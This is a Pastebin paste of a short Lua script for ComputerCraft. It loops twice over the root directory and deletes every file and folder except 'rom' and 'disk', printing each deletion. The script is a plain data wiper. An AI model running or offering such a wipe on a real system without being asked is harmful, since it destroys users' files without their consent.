Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- x = 0
- for i=1, 2 do
- x = x+1
- if x == 1 then
- print("Running first pass")
- else
- print("Running second pass")
- end
- for k,v in pairs(fs.list("/")) do
- if v == "rom" then
- print("Leaving rom alone")
- elseif v == "disk" then
- print("Leaving disk alone")
- else
- fs.delete(v)
- print("Deleted file '"..v.."'")
- end
- end
- end
Add Comment
Please, Sign In to add comment